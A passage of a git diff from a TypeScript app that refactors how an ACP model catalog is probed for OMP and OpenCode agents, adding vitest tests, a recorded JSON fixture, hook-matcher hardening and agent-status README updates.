+          }
+          assertStructuredAgentResolutionCurrent(operation)
+          if (model.effortsKnown !== false) {
+            continue
+          }
+          attemptedModels.push(model.id)
+          try {
+            for (let attempt = 0; attempt < 2 && !stopped; attempt++) {
+              const write = options.write('model', model.id)
+              if (write?.method !== 'config') {
+                break
+              }
+              const reply = await connection.setConfigOption(write.configId, write.value)
+              if (stopped) {
+                return
+              }
+              assertStructuredAgentResolutionCurrent(operation)
+              options.adoptConfigOptions(reply.configOptions)
+              const observed = options.read()
+              if (observed.current.model !== model.id) {
+                continue
+              }
+              const known = observed.models.find((row) => row.id === model.id)
+              if (known) {
+                models = models.map((row) => (row.id === model.id ? known : row))
+              }
+              break
+            }
+          } catch {
+            assertStructuredAgentResolutionCurrent(operation)
+          }
+        }
+      }
+      await withTimeout(sweep(), 5_000, undefined)
+    }
+    assertStructuredAgentResolutionCurrent(operation)
+    return { models, attemptedModels }
+  } finally {
+    if (!ready) {
+      await cleanup()
+    }
+  }
+}
diff --git a/src/main/acp/discovery/acp-model-catalog-probe.test.ts b/src/main/acp/discovery/acp-model-catalog-probe.test.ts
new file mode 100644
index 00000000000..85f040a7fb3
--- /dev/null
+++ b/src/main/acp/discovery/acp-model-catalog-probe.test.ts
@@ -0,0 +1,196 @@
+import { mkdtemp, rm } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it } from 'vitest'
+import { acpLaunchSpecFor } from '../launch/acp-launch-registry'
+import type { AcpLaunchSpec } from '../launch/acp-launch-contract'
+import { createAcpModelCatalogProbe } from './acp-model-catalog-probe'
+import { AcpSessionRuntime } from '../protocol/acp-session-runtime'
+import { AcpScriptedAgent } from '../process/testing/acp-scripted-agent.test-support'
+import { openCodeAcpAccountBinding } from '../../opencode/opencode-structured-account-home'
+import { AcpAgentExitedError } from '../transport/acp-errors'
+// Real `omp acp` 18.17.0 session/new replies: started on its default fake/wide, with
+// `--model fake/narrow`, and with `--model fake/gone`, which it cannot resolve.
+import recorded from '../fixtures/omp-v18.17.0-model-efforts.json'
+
+// Bypass the app's managed-account service for this fixture.
+const OPENCODE: AcpLaunchSpec = {
+  ...acpLaunchSpecFor('opencode')!,
+  account: openCodeAcpAccountBinding(() => ({
+    list: () => ({ activeAccountId: null, accounts: [] }),
+    restoreOriginalEnvironment: () => {},
+    environmentForAccount: () => ({})
+  }))
+}
+
+const agents: AcpScriptedAgent[] = []
+afterEach(() => {
+  for (const agent of agents.splice(0)) {
+    agent.close()
+  }
+})
+
+describe('ACP model catalog probes', () => {
+  it('lists the catalog after OpenCode answers session/new with -32603 while starting', async () => {
+    const agent = new AcpScriptedAgent()
+    agents.push(agent)
+    agent.on('initialize', (frame) =>
+      agent.reply(frame, {
+        protocolVersion: 1,
+        agentCapabilities: { sessionCapabilities: { delete: {} } }
+      })
+    )
+    let sessionNews = 0
+    agent.on('session/new', (frame) => {
+      sessionNews += 1
+      if (sessionNews === 1) {
+        agent.fail(frame, -32603, 'Internal error: Internal service failure', {
+          errorName: 'InvalidRequestError'
+        })
+        return
+      }
+      agent.reply(frame, {
+        sessionId: 'probe-session',
+        configOptions: [
+          {
+            id: 'model',
+            name: 'Model',
+            category: 'model',
+            type: 'select',
+            currentValue: 'opencode/exo-free',
+            options: [
+              { value: 'opencode/big-pickle', name: 'Big Pickle' },
+              { value: 'opencode/exo-free', name: 'Exo Free' }
+            ]
+          }
+        ]
+      })
+    })
+    agent.on('session/delete', (frame) => agent.reply(frame, {}))
+    agent.on('session/set_config_option', (frame) => agent.fail(frame, -32602, 'Model unavailable'))
+
+    const success = await createAcpModelCatalogProbe(OPENCODE, {
+      resolveEnvironment: async () => ({ PATH: '/usr/bin', HOME: '/home/user' }),
+      resolveCommand: () => '/opt/opencode/bin/opencode',
+      probeVersion: async () => ({ version: '2.0.29' }),
+      homePath: '/home/user',
+      dataDirectory: '/orca-data',
+      connectSession: () => {
+        const runtime = new AcpSessionRuntime(agent.stdout, agent.stdin)
+        return {
+          initialize: () => runtime.initialize(),
+          start: (options) => runtime.start(options),
+          setConfigOption: (id, value) => runtime.setConfigOption(id, value),
+          deleteSession: (sessionId) => runtime.deleteSession(sessionId),
+          close: async () => runtime.close()
+        }
+      }
+    })({ kind: 'opencode', locator: { kind: 'unmanaged' } }, { workspacePath: '/work/project' })
+
+    expect(sessionNews).toBe(2)
+    expect(success.models.map((model) => model.id)).toEqual([
+      'opencode/big-pickle',
+      'opencode/exo-free'
+    ])
+  })
+})
+
+async function listOmp(selectedModels?: string[]) {
+  const agent = new AcpScriptedAgent()
+  agents.push(agent)
+  let launchedModel: string | undefined
+  agent.on('initialize', (frame) => agent.reply(frame, { protocolVersion: 1 }))
+  agent.on('session/new', (frame) =>
+    agent.reply(frame, {
+      sessionId: 'probe-session',
+      ...(launchedModel === 'fake/narrow'
+        ? recorded.narrow
+        : launchedModel === 'fake/gone'
+          ? recorded.unresolved
+          : recorded.new)
+    })
+  )
+  const dataDirectory = await mkdtemp(join(tmpdir(), 'orca-omp-efforts-'))
+  try {
+    const listing = await createAcpModelCatalogProbe(acpLaunchSpecFor('omp')!, {
+      resolveEnvironment: async () => ({ PATH: '/usr/bin', HOME: '/home/user' }),
+      resolveCommand: () => '/opt/omp/bin/omp',
+      probeVersion: async () => ({ version: '18.17.0' }),
+      homePath: '/home/user',
+      dataDirectory,
+      connectSession: (launch) => {
+        const at = launch.args.indexOf('--model')
+        launchedModel = at === -1 ? undefined : launch.args[at + 1]
+        if (launchedModel?.includes(':')) {
+          // OMP 18.17.0 prints `Model "fake/gone:high" not found.` and exits 1 before ACP starts.
+          const exited = async () => {
+            throw new AcpAgentExitedError('Model "fake/gone:high" not found.')
+          }
+          return {
+            initialize: exited,
+            start: exited,
+            setConfigOption: exited,
+            deleteSession: exited,
+            close: async () => {}
+          }
+        }
+        const runtime = new AcpSessionRuntime(agent.stdout, agent.stdin)
+        return {
+          initialize: () => runtime.initialize(),
+          start: (options) => runtime.start(options),
+          setConfigOption: (id, value) => runtime.setConfigOption(id, value),
+          deleteSession: (sessionId) => runtime.deleteSession(sessionId),
+          close: async () => runtime.close()
+        }
+      }
+    })(
+      { variable: 'PI_CODING_AGENT_DIR', path: '/homes/omp' },
+      { workspacePath: '/work/project', ...(selectedModels ? { selectedModels } : {}) }
+    )
+    // A model switch would record usage in the user's OMP account.
+    expect(agent.frames.map((frame) => frame.method)).toEqual(['initialize', 'session/new'])
+    return (id: string) => listing.models.find((model) => model.id === id)
+  } finally {
+    await rm(dataDirectory, { recursive: true, force: true })
+  }
+}
+
+const levels = (model: { efforts: { value: string }[] } | undefined) =>
+  model?.efforts.map((effort) => effort.value)
+
+it("lists a picked OMP model with its own thinking levels, not the startup model's", async () => {
+  const listed = await listOmp()
+  expect(levels(listed('fake/wide'))).toEqual([
+    'off',
+    'auto',
+    'minimal',
+    'low',
+    'medium',
+    'high',
+    'xhigh'
+  ])
+  expect(listed('fake/narrow')).toMatchObject({ efforts: [], effortsKnown: false })
+
+  const picked = await listOmp(['fake/narrow'])
+  expect(levels(picked('fake/narrow'))).toEqual(['off', 'auto', 'low', 'high'])
+  expect(picked('fake/narrow')).not.toHaveProperty('effortsKnown')
+  expect(picked('fake/wide')).toMatchObject({ efforts: [], effortsKnown: false })
+})
+
+it('trusts no menu when OMP cannot start on the picked model', async () => {
+  const picked = await listOmp(['fake/gone'])
+  expect(picked('fake/wide')).toMatchObject({ efforts: [], effortsKnown: false })
+})
+
+it('still lists OMP when it cannot start on the picked model', async () => {
+  const picked = await listOmp(['fake/gone:high'])
+  expect(levels(picked('fake/wide'))).toEqual([
+    'off',
+    'auto',
+    'minimal',
+    'low',
+    'medium',
+    'high',
+    'xhigh'
+  ])
+})
diff --git a/src/main/acp/discovery/acp-model-catalog-probe.ts b/src/main/acp/discovery/acp-model-catalog-probe.ts
index 7df8a4a31f9..8b935339fc8 100644
--- a/src/main/acp/discovery/acp-model-catalog-probe.ts
+++ b/src/main/acp/discovery/acp-model-catalog-probe.ts
@@ -1,8 +1,5 @@
 import { observeAcpForkSupport } from '../capabilities/acp-fork-support'
-import {
-  assertStructuredAgentResolutionCurrent,
-  type StructuredAgentResolutionOperation
-} from '../../native-chat/structured-agent-command-resolution'
+import { assertStructuredAgentResolutionCurrent } from '../../native-chat/structured-agent-command-resolution'
 import { homedir } from 'node:os'
 import { join } from 'node:path'
 import type { AgentCliVersionReader } from '../../agent-launch/preflight/agent-cli-version-probe'
@@ -19,40 +16,22 @@ import { acpRunFolder } from '../launch/acp-private-temp'
 import {
   acpListingDependsOnRelease,
   acpListingNeedsChatFolder,
-  acpModelListingForRelease,
-  type AcpSessionModelDiscovery
+  acpModelListingForRelease
 } from './acp-model-discovery-policy'
 import type { AcpLaunchSpec } from '../launch/acp-launch-contract'
-import type { AcpSessionStarted, AcpSessionStartOptions } from '../protocol/acp-session-setup'
 import { checkAcpLaunchVersion } from '../launch/acp-launch-version'
 import {
   resolveAcpLaunchInvocation,
   type AcpLaunchInvocationDeps
 } from '../launch/acp-structured-launch-resolution'
-import { AcpStructuredOptions } from '../options/acp-structured-options'
-import type {
-  InitializeResponse,
-  SetSessionConfigOptionResponse
-} from '../generated/acp-protocol.generated'
-import { withTimeout } from '../../../shared/promise-timeout-fallback'
-import { AcpAgentError } from '../transport/acp-errors'
+import {
+  readSessionModels,
+  type AcpModelCatalogConnection,
+  type AcpModelCatalogSessionConnection
+} from './acp-listing-session-models'
+import { AcpAgentError, AcpAgentExitedError } from '../transport/acp-errors'
 import { AgentModelCatalogUnavailableError } from '../../native-chat/agent-model-catalog/agent-model-catalog-unavailable'
-
-/** Session-free capability boundary: no session methods are exposed. */
-export type AcpModelCatalogConnection = {
-  initialize(): Promise<InitializeResponse>
-  requestSessionFreeExtension(method: string, params: unknown): Promise<unknown>
-  close(): Promise<unknown>
-}
-
-export type AcpModelCatalogSessionConnection = Omit<
-  AcpModelCatalogConnection,
-  'requestSessionFreeExtension'
-> & {
-  start(options: AcpSessionStartOptions): Promise<AcpSessionStarted>
-  setConfigOption(configId: string, value: string): Promise<SetSessionConfigOptionResponse>
-  deleteSession(sessionId: string): Promise<unknown>
-}
+import { usesModelSpecificAcpEfforts } from '../../../shared/agent-session/options/agent-model-catalog-ownership'
 
 export type AcpModelCatalogProbeDeps = AcpLaunchInvocationDeps & {
   probeVersion?: AgentCliVersionReader
@@ -112,6 +91,11 @@ export function createAcpModelCatalogProbe(
       envToDelete
     }
     const run = { label: spec.agent, signal: options?.signal }
+    // OMP records every model switch as account usage; starting on the picked model records none.
+    const launchedModel =
+      spec.launchesWithModel && usesModelSpecificAcpEfforts(spec.agent)
+        ? options?.selectedModels?.[0]
+        : undefined
     let models: AgentSessionModelOption[]
     let attemptedModels: string[] | undefined
     if (listing.kind === 'command') {
@@ -132,32 +116,49 @@ export function createAcpModelCatalogProbe(
       }
       // Remove disposable session storage after the process closes.
       const folderArgs = listing.sessionFolderArgs
-      const folder = folderArgs
-        ? await acpRunFolder(join(deps.dataDirectory, 'acp-listing-sessions', spec.agent))
-        : null
-      try {
-        assertStructuredAgentResolutionCurrent(operation)
-        const args =
-          folderArgs && folder ? [...launch.args, ...folderArgs(folder.path)] : launch.args
-        const result = await runAgentModelCatalogSession(
-          () => (deps.connectSession ?? createAcpAgentConnection)({ ...launch, args }),
-          (connection, ready) =>
-            readSessionModels(
-              spec,
-              listing,
-              connection,
-              workspace,
-              operation,
-              options?.selectedModels,
-              spec.dialect.effortChangesModel ? ready : undefined
-            ),
-          run
-        )
-        models = result.models
-        attemptedModels = result.attemptedModels
-      } finally {
-        await folder?.remove()
+      const listInSession = async (model: string | undefined) => {
+        const folder = folderArgs
+          ? await acpRunFolder(join(deps.dataDirectory, 'acp-listing-sessions', spec.agent))
+          : null
+        try {
+          assertStructuredAgentResolutionCurrent(operation)
+          const args = [
+            ...prefixArgs,
+            ...spec.args({ fullAccess: false, pluginDir: null, model }),
+            ...(folderArgs && folder ? folderArgs(folder.path) : [])
+          ]
+          return await runAgentModelCatalogSession(
+            () => (deps.connectSession ?? createAcpAgentConnection)({ ...launch, args }),
+            (connection, ready) =>
+              readSessionModels(
+                spec,
+                listing,
+                connection,
+                workspace,
+                operation,
+                options?.selectedModels,
+                model,
+                spec.dialect.effortChangesModel ? ready : undefined
+              ),
+            run
+          )
+        } finally {
+          await folder?.remove()
+        }
       }
+      let result: Awaited<ReturnType<typeof listInSession>>
+      try {
+        result = await listInSession(launchedModel)
+      } catch (error) {
+        // OMP exits before ACP on a model it cannot start (a stale `:level` id); list without it.
+        if (launchedModel === undefined || !(error instanceof AcpAgentExitedError)) {
+          throw error
+        }
+        assertStructuredAgentResolutionCurrent(operation)
+        result = { ...(await listInSession(undefined)), attemptedModels: [launchedModel] }
+      }
+      models = result.models
+      attemptedModels = result.attemptedModels
     } else {
       models = await runAgentModelCatalogSession(
         () => (deps.connect ?? createAcpAgentConnection)(launch),
@@ -189,87 +190,3 @@ export function createAcpModelCatalogProbe(
 
 const folderlessListing = (spec: AcpLaunchSpec) =>
   new AgentModelCatalogListingStoppedError(`${spec.agent} lists in a chat's folder`)
-
-async function readSessionModels(
-  spec: AcpLaunchSpec,
-  listing: AcpSessionModelDiscovery,
-  connection: AcpModelCatalogSessionConnection,
-  workspace: string,
-  operation?: StructuredAgentResolutionOperation,
-  selectedModels?: readonly string[],
-  ready?: (cleanup: () => Promise<unknown>) => void
-): Promise<{ models: AgentSessionModelOption[]; attemptedModels: string[] }> {
-  const initialized = await connection.initialize()
-  assertStructuredAgentResolutionCurrent(operation)
-  observeAcpForkSupport(spec.agent, initialized)
-  const deletes = Boolean(initialized.agentCapabilities?.sessionCapabilities?.delete)
-  if (!deletes && !listing.sessionFolderArgs) {
-    throw new Error(`${spec.agent} cannot delete a session, so it lists its models only in chats`)
-  }
-  const started = await connection.start({ cwd: workspace, mcpServers: [] })
-  let stopped = false
-  const cleanup = async (): Promise<void> => {
-    stopped = true
-    if (deletes) {
-      await connection.deleteSession(started.sessionId).catch((error: unknown) => {
-        console.warn(`[acp-model-catalog] ${spec.agent} kept its listing session:`, error)
-      })
-    }
-  }
-  // Startup and menu discovery have separate budgets; cleanup also runs on cancellation.
-  ready?.(cleanup)
-  const options = new AcpStructuredOptions(spec.dialect)
-  options.adoptSession(started.response, 'new')
-  let models = options.read().models
-  const attemptedModels: string[] = []
-  try {
-    if (spec.dialect.effortChangesModel) {
-      const byId = new Map(models.map((model) => [model.id, model]))
-      const targets = selectedModels ? selectedModels.flatMap((id) => byId.get(id) ?? []) : models
-      const sweep = async () => {
-        for (const model of targets) {
-          if (stopped) {
-            return
-          }
-          assertStructuredAgentResolutionCurrent(operation)
-          if (model.effortsKnown !== false) {
-            continue
-          }
-          attemptedModels.push(model.id)
-          try {
-            for (let attempt = 0; attempt < 2 && !stopped; attempt++) {
-              const write = options.write('model', model.id)
-              if (write?.method !== 'config') {
-                break
-              }
-              const reply = await connection.setConfigOption(write.configId, write.value)
-              if (stopped) {
-                return
-              }
-              assertStructuredAgentResolutionCurrent(operation)
-              options.adoptConfigOptions(reply.configOptions)
-              const observed = options.read()
-              if (observed.current.model !== model.id) {
-                continue
-              }
-              const known = observed.models.find((row) => row.id === model.id)
-              if (known) {
-                models = models.map((row) => (row.id === model.id ? known : row))
-              }
-              break
-            }
-          } catch {
-            assertStructuredAgentResolutionCurrent(operation)
-          }
-        }
-      }
-      await withTimeout(sweep(), 5_000, undefined)
-    }
-    assertStructuredAgentResolutionCurrent(operation)
-    return { models, attemptedModels }
-  } finally {
-    if (!ready) {
-      await cleanup()
-    }
-  }
-}
diff --git a/src/main/acp/fixtures/omp-v18.17.0-model-efforts.json b/src/main/acp/fixtures/omp-v18.17.0-model-efforts.json
new file mode 100644
index 00000000000..4ba4f7835a0
--- /dev/null
+++ b/src/main/acp/fixtures/omp-v18.17.0-model-efforts.json
@@ -0,0 +1,102 @@
+{
+  "new": {
+    "configOptions": [
+      {
+        "id": "model",
+        "name": "Model",
+        "category": "model",
+        "type": "select",
+        "currentValue": "fake/wide",
+        "options": [
+          { "value": "fake/wide", "name": "Wide", "description": "fake/wide" },
+          { "value": "fake/narrow", "name": "Narrow", "description": "fake/narrow" },
+          {
+            "value": "apple/on-device",
+            "name": "Apple AFM 3 Core Advanced",
+            "description": "apple/on-device"
+          }
+        ]
+      },
+      {
+        "id": "thinking",
+        "name": "Thinking",
+        "category": "thought_level",
+        "type": "select",
+        "currentValue": "high",
+        "options": [
+          { "value": "off", "name": "Off" },
+          { "value": "auto", "name": "Auto", "description": "Auto-detect per prompt" },
+          { "value": "minimal", "name": "minimal" },
+          { "value": "low", "name": "low" },
+          { "value": "medium", "name": "medium" },
+          { "value": "high", "name": "high" },
+          { "value": "xhigh", "name": "xhigh" }
+        ]
+      }
+    ]
+  },
+  "narrow": {
+    "configOptions": [
+      {
+        "id": "model",
+        "name": "Model",
+        "category": "model",
+        "type": "select",
+        "currentValue": "fake/narrow",
+        "options": [
+          { "value": "fake/wide", "name": "Wide", "description": "fake/wide" },
+          { "value": "fake/narrow", "name": "Narrow", "description": "fake/narrow" },
+          {
+            "value": "apple/on-device",
+            "name": "Apple AFM 3 Core Advanced",
+            "description": "apple/on-device"
+          }
+        ]
+      },
+      {
+        "id": "thinking",
+        "name": "Thinking",
+        "category": "thought_level",
+        "type": "select",
+        "currentValue": "high",
+        "options": [
+          { "value": "off", "name": "Off" },
+          { "value": "auto", "name": "Auto", "description": "Auto-detect per prompt" },
+          { "value": "low", "name": "low" },
+          { "value": "high", "name": "high" }
+        ]
+      }
+    ]
+  },
+  "unresolved": {
+    "configOptions": [
+      {
+        "id": "model",
+        "name": "Model",
+        "category": "model",
+        "type": "select",
+        "currentValue": "fake/wide",
+        "options": [
+          { "value": "fake/wide", "name": "Wide", "description": "fake/wide" },
+          { "value": "fake/narrow", "name": "Narrow", "description": "fake/narrow" },
+          {
+            "value": "apple/on-device",
+            "name": "Apple AFM 3 Core Advanced",
+            "description": "apple/on-device"
+          }
+        ]
+      },
+      {
+        "id": "thinking",
+        "name": "Thinking",
+        "category": "thought_level",
+        "type": "select",
+        "currentValue": "off",
+        "options": [
+          { "value": "off", "name": "Off" },
+          { "value": "auto", "name": "Auto", "description": "Auto-detect per prompt" }
+        ]
+      }
+    ]
+  }
+}
diff --git a/src/main/acp/options/acp-structured-options.ts b/src/main/acp/options/acp-structured-options.ts
index 5327bde5116..8ba7d511888 100644
--- a/src/main/acp/options/acp-structured-options.ts
+++ b/src/main/acp/options/acp-structured-options.ts
@@ -250,10 +250,7 @@ export class AcpStructuredOptions {
         model.id === currentModel
           ? { efforts: sessionEfforts }
           : (modelOption || effortOption) && !advertised
-            ? {
-                efforts: this.dialect.clampsUnlistedEffort ? sessionEfforts : [],
-                effortsKnown: false as const
-              }
+            ? { efforts: [], effortsKnown: false as const }
             : { efforts: [] }
       return {
         ...model,
diff --git a/src/main/acp/session/acp-structured-antigravity-errors.test.ts b/src/main/acp/session/acp-structured-antigravity-errors.test.ts
deleted file mode 100644
index fabcc889944..00000000000
--- a/src/main/acp/session/acp-structured-antigravity-errors.test.ts
+++ /dev/null
@@ -1,58 +0,0 @@
-import { afterEach, expect, it } from 'vitest'
-import { closeProviderTimelineRigs } from '../../native-chat/agent-session-timeline/provider-timeline-assembler-test-support'
-import { acpLaunchSpecFor } from '../launch/acp-launch-registry'
-import {
-  openAcpAdapterRig,
-  sendHello,
-  waitFor
-} from './testing/acp-structured-adapter.test-support'
-
-afterEach(closeProviderTimelineRigs)
-
-const quotaError = `Cloud Code Assist API error (429): {
-  "error": {
-    "code": 429,
-    "message": "Individual quota reached. Please upgrade your subscription to increase your limits. Resets in 3h42m11s.",
-    "status": "RESOURCE_EXHAUSTED",
-    "details": [
-      {
-        "@type": "type.googleapis.com/google.rpc.ErrorInfo",
-        "reason": "QUOTA_EXHAUSTED",
-        "domain": "cloudcode-pa.googleapis.com",
-        "metadata": {
-          "quotaResetDelay": "3h42m11.598227131s",
-          "quotaResetTimeStamp": "2026-11-10T15:58:51Z",
-          "uiMessage": "true",
-          "model": "claude-opus-5-5-high"
-        }
-      },
-      {
-        "@type": "type.googleapis.com/google.rpc.RetryInfo",
-        "retryDelay": "13331.598227131s"
-      }
-    ]
-  }
-}`
-
-it('publishes the Cloud Code Assist message instead of its JSON envelope in chat', async () => {
-  const rig = await openAcpAdapterRig({
-    spec: acpLaunchSpecFor('antigravity')!,
-    script: (agent) =>
-      agent.on('session/prompt', (frame) =>
-        agent.fail(frame, -32603, 'Internal error', { details: quotaError })
-      )
-  })
-  await rig.acquire()
-  await sendHello(rig, 'send-1')
-  await waitFor(async () =>
-    expect((await rig.rig.rows()).filter((row) => row.body.kind === 'status')).toEqual([
-      expect.objectContaining({
-        body: {
-          kind: 'status',
-          tone: 'error',
-          text: 'Individual quota reached. Please upgrade your subscription to increase your limits. Resets in 3h42m11s.'
-        }
-      })
-    ])
-  )
-})
diff --git a/src/main/agent-hooks/README.md b/src/main/agent-hooks/README.md
index 3ed3b46dc06..04e3d43a4e8 100644
--- a/src/main/agent-hooks/README.md
+++ b/src/main/agent-hooks/README.md
@@ -47,6 +47,7 @@ terminal answered queries the way Orca does.
 | pi (`pi`)              | ✅ live, 1.3.0                            | required (`PI_PROGRAM_STATUS=1` forces it) | all five | all three            | session name, dialog title, first line of an error             | —            | extension        | Fallback                                                                      |
 | oh-my-pi (`omp`)       | ✅ live, 18.10.3                          | sends without asking                       | all five | permission, question | on `blocked`/`error` only                                      | —            | extension        | Fallback                                                                      |
 | Codex (`codex`)        | ✅ live, 0.163.0                          | sends without asking                       | all five | none sent (0.163)    | none                                                           | —            | hooks            | Fallback; state only                                                          |
+| Kiro (`kiro`)          | reported on 3.1.0 (#40567), not run live  | —                                          | —        | —                    | —                                                              | —            | hooks            | Fallback; reports as `app=kiro-cli`                                           |
 
 ### Agents that don't send OSC 7501 yet
 
@@ -55,7 +56,7 @@ terminal answered queries the way Orca does.
 | OpenCode (`opencode`, `opencode2`)                                                     | installed binary v2.0.16 and source | plugin                     |
 | Kilocode (`kilo`)                                                                      | installed package and source        | —                          |
 | Cursor (`cursor`)                                                                      | installed binary 2026.06.02         | hooks                      |
-| Amp, Droid, Hermes, Muse, Devin, Kiro                                                  | installed binaries                  | hooks                      |
+| Amp, Droid, Hermes, Muse, Devin                                                        | installed binaries                  | hooks                      |
 | Qoder (`qoder`)                                                                        | installed binary 1.1.65             | hooks                      |
 | CodeBuddy (`codebuddy`)                                                                | installed package                   | hooks                      |
 | Jcode (`jcode`)                                                                        | installed binary 0.95.0             | hooks                      |
@@ -84,7 +85,7 @@ When an agent ships OSC 7501 support, or changes what it reports:
 1. Run it in a PTY whose terminal answers `OSC 7501 ; ?` and record the reports.
 2. If its `app` id differs from Orca's agent id, add the mapping to `APP_TO_AGENT_TYPE` in
    `src/shared/program-status/agent-status-projector.ts` (examples: `claude-code` → `claude`,
-   `grok-build` → `grok`). Otherwise hook precedence can't match its rows.
+   `grok-build` → `grok`, `kiro-cli` → `kiro`). Otherwise hook precedence can't match its rows.
 3. Update the row and the date above.
 
 ## Plugin tool hooks (`agent.tool.before` / `.after`)
diff --git a/src/main/agent-hooks/installation/commands/managed-hook-command-matching.ts b/src/main/agent-hooks/installation/commands/managed-hook-command-matching.ts
index 82b599b4a5e..80232cc79d2 100644
--- a/src/main/agent-hooks/installation/commands/managed-hook-command-matching.ts
+++ b/src/main/agent-hooks/installation/commands/managed-hook-command-matching.ts
@@ -6,9 +6,7 @@ import {
 import type { HookCommandConfig, HookDefinition } from '../configuration/hook-config-schema'
 
 // Match script names so reinstalls sweep entries from old and parallel installations.
-export function createManagedCommandMatcher(
-  scriptFileName: string
-): (command: string | undefined) => boolean {
+export function createManagedCommandMatcher(scriptFileName: string): (command: unknown) => boolean {
   const scriptStem = scriptFileName.replace(/\.(?:cmd|ps1|sh)$/, '')
   // Sweep every platform suffix after a platform switch.
   const needles = [
@@ -19,8 +17,9 @@ export function createManagedCommandMatcher(
   ]
   // The native executable selects its provider through argv[1].
   const nativeHook = `agent-hooks/${WINDOWS_NATIVE_HOOK_EXECUTABLE_NAME} ${getWindowsNativeHookAgent(scriptFileName)} `
+  // hooks.json is user-editable, so a command may not be a string.
   return (command) => {
-    if (!command) {
+    if (typeof command !== 'string' || !command) {
       return false
     }
     const decodedCommand = decodePowerShellEncodedCommand(command)
diff --git a/src/main/agent-hooks/runtime/agent-hook-runtime-deps.ts b/src/main/agent-hooks/runtime/agent-hook-runtime-deps.ts
index 1d65427fe77..4d65da58001 100644
--- a/src/main/agent-hooks/runtime/agent-hook-runtime-deps.ts
+++ b/src/main/agent-hooks/runtime/agent-hook-runtime-deps.ts
@@ -19,6 +19,8 @@ export function agentHookRuntimeDeps(
     getAgentStatusSnapshot: () =>
       server.getStatusSnapshot().filter((entry) => entry.providerSessionOnly !== true),
     getAgentStatusSnapshotForPane: (paneKey) => server.getStatusSnapshotForPane(paneKey),
+    getPublicAgentStatusSnapshotForPane: (paneKey) =>
+      server.getPublicStatusSnapshotForPane(paneKey),
     // Include resume identities so mobile can locate provider transcripts, including Pi sessions.
     getAgentProviderSessionSnapshot: (tabId) =>
       tabId === undefined
diff --git a/src/main/agent-hooks/server/combined-agent-status-entries.ts b/src/main/agent-hooks/server/combined-agent-status-entries.ts
new file mode 100644
index 00000000000..d1468ed141f
--- /dev/null
+++ b/src/main/agent-hooks/server/combined-agent-status-entries.ts
@@ -0,0 +1,59 @@
+import { isTmuxInnerSubject } from '../../../shared/tmux-selected-status'
+import {
+  getLegacyStatusListingOrder,
+  type HookListenerState
+} from '../../../shared/agent-hook-listener/listener-state'
+import {
+  serializeAgentStatusSubject,
+  type AgentStatusSubject
+} from '../../../shared/agent-status/contracts/agent-status-subject'
+import type { AgentStatusStore } from '../../../shared/agent-status/store/agent-status-store'
+import type { EnrichedAgentHookEventPayload } from './server-types'
+import { structuredStatusLegacyEvent } from './server-structured-status-row'
+import type { ProgramStatusFacetStore } from './program-status/facet-store'
+
+const UNORDERED_STATUS_ROW = Number.MAX_SAFE_INTEGER
+
+export function combinedAgentStatusEntries(
+  source: {
+    state: HookListenerState
+    programStatusFacets: Pick<ProgramStatusFacetStore, 'stitch'>
+    canonicalStatusStore: Pick<AgentStatusStore, 'getParents' | 'getParent'>
+    canonicalSubjectsByPane: ReadonlyMap<string, ReadonlyMap<string, AgentStatusSubject>>
+    canonicalListingOrder: ReadonlyMap<string, number>
+  },
+  paneKey?: string
+): EnrichedAgentHookEventPayload[] {
+  const rows: { entry: EnrichedAgentHookEventPayload; order: number }[] = []
+  const legacy =
+    paneKey === undefined
+      ? source.state.lastStatusByPaneKey
+      : source.state.lastStatusByPaneKey.has(paneKey)
+        ? [[paneKey, source.state.lastStatusByPaneKey.get(paneKey)!] as const]
+        : []
+  for (const [paneKey, entry] of legacy) {
+    rows.push({
+      // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: Main admits enriched legacy rows; shared listeners expose only the base event type.
+      entry: source.programStatusFacets.stitch(entry as EnrichedAgentHookEventPayload),
+      order: getLegacyStatusListingOrder(source.state, paneKey) ?? UNORDERED_STATUS_ROW
+    })
+  }
+  const parents =
+    paneKey === undefined
+      ? source.canonicalStatusStore.getParents()
+      : [...(source.canonicalSubjectsByPane.get(paneKey)?.values() ?? [])].flatMap(
+          (subject) => source.canonicalStatusStore.getParent(subject) ?? []
+        )
+  for (const parent of parents) {
+    if (!parent.status || isTmuxInnerSubject(parent.subject)) {
+      continue
+    }
+    rows.push({
+      entry: structuredStatusLegacyEvent(parent.status),
+      order:
+        source.canonicalListingOrder.get(serializeAgentStatusSubject(parent.subject)) ??
+        UNORDERED_STATUS_ROW
+    })
+  }
+  return rows.sort((a, b) => a.order - b.order).map(({ entry }) => entry)
+}
diff --git a/src/main/agent-hooks/server/program-status/facet-store.ts b/src/main/agent-hooks/server/program-status/facet-store.ts
index f18e03a2578..ba11e041db7 100644
--- a/src/main/agent-hooks/server/program-status/facet-store.ts
+++ b/src/main/agent-hooks/server/program-status/facet-store.ts
@@ -3,6 +3,8 @@ import {
   type ProgramStatusFacet
 } from '../../../../shared/program-status/facet'
 import type { ParsedAgentStatusPayload } from '../../../../shared/agent-status/contracts/agent-status-types'
+import type { EnrichedAgentHookEventPayload } from '../server-types'
+import { isOpenCodeHookRow } from './hook-precedence'
 
 // Bound retained facets across long sessions; evict the least recently changed first.
 const MAX_PROGRAM_STATUS_FACETS = 1024
@@ -116,8 +118,14 @@ export class ProgramStatusFacetStore {
   }
 
   /** Stitch without mutating the stored row. */
-  stitch<T extends { paneKey: string; programStatus?: ProgramStatusFacet }>(row: T): T {
-    const facet = this.byPaneKey.get(row.paneKey)?.facet
+  stitch<
+    T extends Pick<
+      EnrichedAgentHookEventPayload,
+      'paneKey' | 'programStatus' | 'observation' | 'payload'
+    >
+  >(row: T): T {
+    // Another session's block or title must not decorate this pane.
+    const facet = isOpenCodeHookRow(row) ? undefined : this.byPaneKey.get(row.paneKey)?.facet
     if (facet === row.programStatus) {
       return row
     }
diff --git a/src/main/agent-hooks/server/program-status/hook-precedence.ts b/src/main/agent-hooks/server/program-status/hook-precedence.ts
index c6e1e332197..25210340efe 100644
--- a/src/main/agent-hooks/server/program-status/hook-precedence.ts
+++ b/src/main/agent-hooks/server/program-status/hook-precedence.ts
@@ -6,6 +6,17 @@ import type { EnrichedAgentHookEventPayload } from '../server-types'
 // Long tool calls can be hook-silent; allow sustained disagreement before yielding to OSC 7501.
 export const HOOK_SILENCE_BEFORE_PROGRAM_STATUS_FALLBACK_MS = 2 * 60 * 1000
 
+function isOpenCodeAgent(agentType: string | undefined): boolean {
